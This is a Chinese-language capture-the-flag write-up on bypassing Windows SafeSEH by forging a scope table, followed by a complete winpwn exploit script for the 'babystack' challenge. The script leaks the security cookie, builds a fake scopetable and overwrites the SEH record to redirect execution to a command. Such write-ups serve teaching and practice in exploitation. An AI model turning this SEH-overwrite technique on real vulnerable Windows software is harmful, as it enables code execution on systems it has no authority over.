简介
safeseh是在seh的基础上进行的改进, 是异常处理的关键结构, 不同的编译器可能使用的safeseh不一样, 但是基本的思想都一样;
safeseh验证
异常处理链起始位置储存在fs:[0]
的位置, 在进程的DEP是开启的情况,有两种异常处理函数被异常分发器认为是有效的:
-
异常处理函数在进程映像的SafeSEH表中,并且没有NO_SEH标志。
-
异常处理函数在进程映像的可执行页,并且没有NO_SEH标志,没有SafeSEH表,没有.NET的ILonly标志。
在进程的DEP关闭的情况下,有三种情况异常处理函数被异常分发器认为是有效的:
-
异常处理函数在进程映像的SafeSEH表中,并且没有NO_SEH标志。
-
异常处理函数在进程映像的可执行页,并且没有NO_SEH标志,没有SafeSEH表,没有.NET的ILonly标志。
-
异常处理函数不在当前进程的映像里面,但是不在当前线程的堆栈上;
绕过方式:
-
在堆中绕过:即将异常处理函数放在堆里面,但是这道题不提供堆,而且开启了dep保护也是行不通的
-
在未开启safeseh模块中绕过:这个程序是静态编译的,并没有别的模块 在加载模块之外的地址
-
伪造scopetable;
scopetable内容如下:
.rdata:0047ACC0 stru_47ACC0 dd 0FFFFFFE4h ; GSCookieOffset
.rdata:0047ACC0 ; DATA XREF: sub_407F60+5↑o
.rdata:0047ACC0 dd 0 ; GSCookieXOROffset ; SEH scope table for function 407F60
.rdata:0047ACC0 dd 0FFFFFF0Ch ; EHCookieOffset
.rdata:0047ACC0 dd 0 ; EHCookieXOROffset
.rdata:0047ACC0 dd 0FFFFFFFEh ; ScopeRecord.EnclosingLevel
.rdata:0047ACC0 dd offset loc_408224 ; ScopeRecord.FilterFunc
.rdata:0047ACC0 dd offset loc_40822A ; ScopeRecord.HandlerFunc
通过观察程序初始化可以看出scopetable的存储方式:
babystack
# from pwn import *
from winpwn import *
def get_data(addr):
p.recvuntil("Do you want to know more?")
p.sendline("yes")
p.recvuntil("Where do you want to know")
p.sendline(str(addr))
buf = p.recvuntil("value is ")
data = int(p.recv(10), 16)
return data
name = "C:\\Users\\test\\Desktop\\Win_Pwn\\babystack\\babystack.exe"
p = process(name)
p.recvuntil("stack address = ")
stack = int(p.recv(8), 16)
print("buf_stack_addr: ", hex(stack))
p.recvuntil("main address = ")
base_addr = int(p.recv(9), 16) - 0x0b0
print("base_addr: ", hex(base_addr))
security_cookie = get_data(base_addr + 0x3004)
print("security_cookie: ", hex(security_cookie))
ebp = stack + 0x9c
next_seh = get_data(ebp - 0x10)
cmd_addr = base_addr + 0x38d
execpt4 = base_addr + 0x460
scope = (stack+4) ^ (security_cookie)
canary = security_cookie ^ ebp
print("canary: ", hex(canary))
sturct = p32(0xffffffe4) + p32(0x0) + p32(0xffffff20) + p32(0) + p32(0xfffffffe) + p32(base_addr + 0x348) + p32(cmd_addr)
pay = "aaaa" + sturct + "b"*96 + p32(canary) + "c"*8 + p32(next_seh) + p32(execpt4) + p32(scope) + p32(0)
p.recvuntil("Do you want to know more?")
p.sendline("hi")
p.sendline(pay)
p.recvuntil("Do you want to know more?")
p.sendline("yes")
p.recvuntil("Where do you want to know")
p.sendline("0")
p.interactive()